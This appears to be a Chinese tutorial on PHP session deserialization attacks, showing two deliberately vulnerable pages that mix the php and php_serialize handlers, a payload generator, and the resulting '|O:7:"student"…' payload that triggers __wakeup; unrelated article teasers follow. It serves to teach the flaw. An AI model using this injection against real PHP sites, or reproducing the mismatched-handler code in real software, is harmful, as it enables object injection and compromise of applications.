PHP反序列化6(session反序列化)

devtools/2024/10/9 4:18:17/

考点6:session反序列化

<aside> 💡

session的一些基础知识

</aside>

Directive含义
session.save_handlersession保存形式。默认为files
session.save_pathsession保存路径。
session.serialize_handlersession序列化存储所用处理器。默认为p h p。
session.upload_progress.cleanup一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled将上传文件的进度信息存在session中。默认开启

session的反序列化有三种处理引擎

处理器名称存储格式
p h p键名 + 竖线 + 经过 serialize() 函数序列化处理的值
p h p_binary键名的⻓度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值
p h p_serialize经过serialize()函数序列化处理的数组

实例:(默认查看路径:/var/lib/p h p x/sess_xxxxxxxxxxxxx)

**php_serialize的数据 a:1:{s:4:"name";s:3:"Ten";}//上面的a指的是数组php的数据name|s:3:"Ten";php_binary的数据a:1:{s:4:"name";s:15:"chickenmushroom";}**

<aside> 💡

这有什么问题?

PHP中的Session的实现是没有的问题,危害由于程序员的Session使用不当而引起的。

如:使用不同引擎来处理session文件。

php引擎的存储格式是键名 | serialized_string,而php_serialize引擎的存储格式是serialized_string

如果程序使用两个引擎来分别处理的话就会出现问题。

</aside>

实例:创建一个会话

  1. 先以php_serialize的格式存储,从客户端接收参数并存入session变量,接收页面 1. p hp
<?php
ini_set("session.serialize_handler", "php_serialize");
session_start();
$_SESSION['name']=$_GET['a'];
var_dump($_SESSION);
?>
  1. 对输入值以及session变量就行处理,输出页面 2. p hp
<?php
ini_set("session.serialize_handler", "php");
session_start();
class student{var $name;var $age;function __wakeup(){echo "hello".$this->name."!";}
}
?>

攻击思路

1.首先访问1. p hp,在传入的参数前面加一个’|’ ,由于1. p hp使用的是p hp_serialize引擎,

因此会把’|’当作一个正常字符处理。

2.接着访问2. p hp,由于用的是p hp引擎,因此遇到’|’会当作分隔符(键名与键值之间的分隔符),

从而造成逃逸,直接对’|’后的值进行反序列化。

<aside> 💡

payload

</aside>

<?php
class student{var $name;var $age;
}
$o=new student();
$o->name="chickenmushroom";
$o->age="22";
$o='|'.serialize($o);
echo($o);
?>
|O:7:"student":2:{s:4:"name";s:15:"chickenmushroom";s:3:"age";s:2:"22";}

1.将payload传入1. p hp可以看到payload以及写入存储文件

2.访问2.p hp,可以看到我们希望的字符串已经成功触发student类的wake up方法,所以思路是可以行得通的。

<aside> 💡

扩展知识

</aside>

没有$_SESSION变量赋值

PHP中还存在一个upload_process机制,即自动在$_SESSION中创建一个键值对,值中刚好存在用户可控的部分,可以看下官方描述的,这个功能在文件上传的过程中利用session实时返回上传的进度。PHP: Session 上传进度 - Manual

这种攻击方法与上一部分基本相同,不过这里需要先上传文件,同时POST一个与session.upload_process.name的同名变量。后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件,从中取出这个键。所以攻击点还是跟上一部分一模一样,程序还是使用了不同的session处理引擎。

这里不展开试验了。详情参考https://www.jianshu.com/p/fba614737c3d


http://www.ppmy.cn/devtools/120804.html

相关文章

windows系统电脑上scrcpy源码本地调试

步骤一&#xff1a;按照scrcpy官网本地编译教程&#xff0c;安装好msys2及相关包。 步骤二&#xff1a;下载scrcpy源码到本地电脑。 步骤三&#xff1a;在msys2的mingw64.exe窗口中运行命令编译并链接scrcpy源码。 注意&#xff1a;因为编译的目的是为了调试&#xff0c;所以在…

【深度学习】05-RNN循环神经网络-02- RNN循环神经网络的发展历史与演化趋势/LSTM/GRU/Transformer

RNN网络的发展历史与演化趋势 RNN&#xff08;Recurrent Neural Network&#xff0c;循环神经网络&#xff09;是一类用于处理序列数据的神经网络&#xff0c;特别擅长捕捉数据的时间或上下文依赖性。在其发展的过程中&#xff0c;不断出现各种改进和变体&#xff0c;以解决不…

数据结构升华部分:排序与字符串匹配算法应用

数据结构入门学习&#xff08;全是干货&#xff09;——综合应用 习题选讲 - 排序与字符串匹配算法 习题选讲 - Insert or Merge 习题-IOM.1 插入排序的判断 题意理解 如何区分简单插入和非递归的归并排序 插入排序&#xff1a;前面有序&#xff0c;后面没有变化。归并排…

Hadoop搭建及Springboot集成

文章目录 环境说明下载安装配置单机伪集群配置hadoop-env.sh配置core-sit.xml配置hdfs-site.xml配置 yarn-site.xml配置mapred-site.xml 启动访问web界面 Windows电脑远程调用springBoot 集成 环境说明 使用Hadoop的前提是linux服务器上必须安装java&#xff0c;这里不赘述怎么…

C++11 多线程编程-小白零基础到手撕线程池

提示&#xff1a;文章 文章目录 前言一、背景二、 2.1 2.2 总结 前言 前期疑问&#xff1a; 本文目标&#xff1a; 一、背景 来源于b站视频 C11 多线程编程-小白零基础到手撕线程池 学习来源&#xff1a;https://www.bilibili.com/video/BV1d841117SH/?p2&spm_id_f…

【STM32】定时器

一、 定时器概述 定义 ​ 设置等待时间&#xff0c; 到达后则执行指定操作的硬件。 STM32F407 的定时器有以下特征 ​ 具有基本的定时功能&#xff0c; 也有 PWM 输出&#xff08;灯光亮度控制、 电机的转速&#xff09;、 脉冲捕获功能&#xff08;红外捕捉&#xff09;。…

爬虫小案例:爬取豆瓣网TOP250的电影信息(内含面相对象源码、及详细教学)

爬虫案例二———爬取豆瓣网TOP250的电影信息&#xff0c;并存入MySQL数据库 前提准备 安装pymysql库 pip install pymysql -i https://pypi.tuna.tsinghua.edu.cn/simple Python连接MySQL数据库&#xff0c;并进行增删改查基本操作 连接数据库 """连接MyS…

重构长方法之提取方法

本篇文章将讲解解决长方法的6钟解决方案中的提取方法。 1. 什么是长方法 长方法通常指的是代码中功能过于复杂或包含过多逻辑的函数或方法。这种方法往往难以阅读、理解和维护&#xff0c;可能违反单一职责原则。为了提高可读性和可维护性&#xff0c;建议将长方法拆分成多个小…